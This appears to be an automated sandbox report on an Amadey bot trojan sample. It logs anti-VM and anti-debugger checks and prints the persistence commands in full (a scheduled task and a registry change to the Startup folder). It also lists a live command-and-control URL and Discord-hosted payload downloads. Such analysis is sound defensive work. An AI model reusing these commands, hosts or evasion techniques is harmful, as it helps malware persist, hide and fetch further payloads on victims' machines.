Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	System information queried: FirmwareTableInformation	Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 5664	Thread sleep time: -56000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 5684	Thread sleep count: 64 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 5684	Thread sleep time: -1920000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 408	Thread sleep count: 394 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 408	Thread sleep time: -23640000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 6320	Thread sleep count: 367 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 6320	Thread sleep time: -22020000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 4476	Thread sleep count: 213 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 4476	Thread sleep time: -12780000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 5068	Thread sleep count: 72 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 5068	Thread sleep time: -4320000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe TID: 6296	Thread sleep count: 43 > 30	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Window / User API: threadDelayed 394			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Window / User API: threadDelayed 367			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Code function: 3_2_01280D00 sldt word ptr [eax]

3_2_01280D00

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Thread delayed: delay time: 60000	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe

System information queried: ModuleInformation

Jump to behavior

Source: rnyuf.exe, 00000003.00000003.678494220.0000000001210000.00000004.00000001.sdmp, rnyuf.exe, 0000000A.00000003.703857458.0000000001240000.00000004.00000001.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlp.exeSDT\VBOX__0!{
Source: rnyuf.exe, 00000003.00000003.678691177.0000000001210000.00000004.00000001.sdmp, rnyuf.exe, 0000000A.00000003.704119363.0000000001240000.00000004.00000001.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeSDT\VBOX__0!{
Source: rnyuf.exe, 00000003.00000003.678560066.0000000001210000.00000004.00000001.sdmp, rnyuf.exe, 0000000A.00000003.704066055.0000000001240000.00000004.00000001.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlm.exeSDT\VBOX__0!{

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Code function: 3_2_01251DA0 GetUserNameW,GetUserNameW,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,GetUserNameW,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

3_2_01251DA0

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_012621C1 mov eax, dword ptr fs:[00000030h]		3_2_012621C1
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Code function: 3_2_01265F52 mov eax, dword ptr fs:[00000030h]		3_2_01265F52

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Code function: 3_2_01252A20 ShellExecuteA,

3_2_01252A20

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Process created: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe" /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\5c436eadc6\	Jump to behavior

Source: rnyuf.exe, 00000003.00000002.945137424.0000000001D70000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: rnyuf.exe, 00000003.00000002.945137424.0000000001D70000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: rnyuf.exe, 00000003.00000002.945137424.0000000001D70000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: rnyuf.exe, 00000003.00000002.945137424.0000000001D70000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\vms\vms.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\vms\vms.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\slhost\slhost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\slhost\slhost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Code function: 3_2_0125FCF9 cpuid

3_2_0125FCF9

Source: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

3_2_01251DA0

Stealing of Sensitive Information:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.946875767.00000000048F5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.943681294.0000000000E23000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.943646127.0000000000DE9000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.882574918.00000000048C6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.882522004.00000000048B3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.810169410.0000000000E50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.744803770.0000000000E50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rnyuf.exe PID: 5824, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Exploitation for Privilege Escalation1	Masquerading1	OS Credential Dumping	Query Registry1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Registry Run Keys / Startup Folder1	Process Injection12	Modify Registry1	LSASS Memory	Security Software Discovery531	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Scheduled Task/Job1	Virtualization/Sandbox Evasion341	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol4	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Registry Run Keys / Startup Folder1	Process Injection12	NTDS	Virtualization/Sandbox Evasion341	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol5	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information2	LSA Secrets	Application Window Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing2	Cached Domain Credentials	Account Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Owner/User Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	File and Directory Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	System Information Discovery22	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	71%	Virustotal		Browse
SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	79%	ReversingLabs	Win32.Downloader.Deyma
SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe	79%	ReversingLabs	Win32.Downloader.Deyma

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
depressionk1d.ug	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://depressionk1d.ug/k8FppT/index.phpoAnm	0%	Avira URL Cloud	safe
http://depressionk1d.ug/k8FppT/index.php?scr=122q2	0%	Avira URL Cloud	safe
http://depressionk1d.ug/k8FppT/index.php?scr=1	0%	Avira URL Cloud	safe
http://depressionk1d.ug/k8FppT/index.php33219	0%	Avira URL Cloud	safe
http://depressionk1d.ug/k8FppT/index.phpncoded	0%	Avira URL Cloud	safe
https://displaycatalogg/k8FppT/index.php	0%	Avira URL Cloud	safe
http://depressionk1d.ug/k8FppT/index.php	0%	Avira URL Cloud	safe
http://depressionk1d.ug/k8FppT/index.php?scr=1f0	0%	Avira URL Cloud	safe
http://depressionk1d.ug/k8FppT/index.php?scr=1S0	0%	Avira URL Cloud	safe
http://depressionk1d.ug/k8FppT/index.phpMT	0%	Avira URL Cloud	safe
http://depressionk1d.ug/k8FppT/index.php3321961m3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.discordapp.com	162.159.129.233	true	false		high
depressionk1d.ug	178.208.83.45	true	true	10%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/878034206570209333/908810886561534042/slhost.exe	false		high
https://cdn.discordapp.com/attachments/878034206570209333/908810887417176084/vms.exe	false		high
http://depressionk1d.ug/k8FppT/index.php?scr=1	true	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/878034206570209333/908810887417176084/vms.exe	false		high
http://cdn.discordapp.com/attachments/878034206570209333/908810886561534042/slhost.exe	false		high
http://depressionk1d.ug/k8FppT/index.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://depressionk1d.ug/k8FppT/index.phpoAnm	rnyuf.exe, 00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://depressionk1d.ug/k8FppT/index.php?scr=122q2	rnyuf.exe, 00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://depressionk1d.ug/k8FppT/index.php33219	rnyuf.exe, 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://depressionk1d.ug/k8FppT/index.phpncoded	rnyuf.exe, 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://displaycatalogg/k8FppT/index.php	rnyuf.exe, 00000003.00000003.810127910.000000000488B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://depressionk1d.ug/k8FppT/index.php?scr=1f0	rnyuf.exe, 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://depressionk1d.ug/k8FppT/index.php?scr=1S0	rnyuf.exe, 00000003.00000003.882463196.000000000488C000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://depressionk1d.ug/k8FppT/index.phpMT	rnyuf.exe, 00000003.00000003.756308778.000000000486C000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://depressionk1d.ug/k8FppT/index.php3321961m3	rnyuf.exe, 00000003.00000002.946613784.0000000004860000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
178.208.83.45	depressionk1d.ug	Russian Federation		48282	VDSINA-ASRU	true
162.159.129.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	520871
Start date:	12.11.2021
Start time:	22:21:56
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Trojan.Siggen15.38099.19640.25720 (renamed file extension from 25720 to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@13/6@2/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 100% (good quality ratio 60%) Quality average: 56.4% Quality standard deviation: 46.5%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, store-images.s-microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:23:06	API Interceptor	3071x Sleep call for process: rnyuf.exe modified
22:23:08	Task Scheduler	Run new task: rnyuf.exe path: C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
178.208.83.45	BFSdrqaAvS.exe	Get hash	malicious	Browse	depressionk1d.ug/k8FppT/index.php
	We7WnoqeXe.exe	Get hash	malicious	Browse	depressionk1d.ug/k8FppT/index.php
	k0nAx7VQ5T.exe	Get hash	malicious	Browse	depressionk1d.ug/k8FppT/index.php
162.159.129.233	1PhgF7ujwW.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/878382243242983437/879280740578263060/FastingTabbied_2021-08-23_11-26.exe
	vhNyVU8USk.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/837741922641903637/866064264027701248/svchost.exe
	Order 4503860408.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/809311531652087809/839376179840286770/originbot4.0.exe
	cotizacin.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/812102734177763331/819187064415191071/bextrit.exe
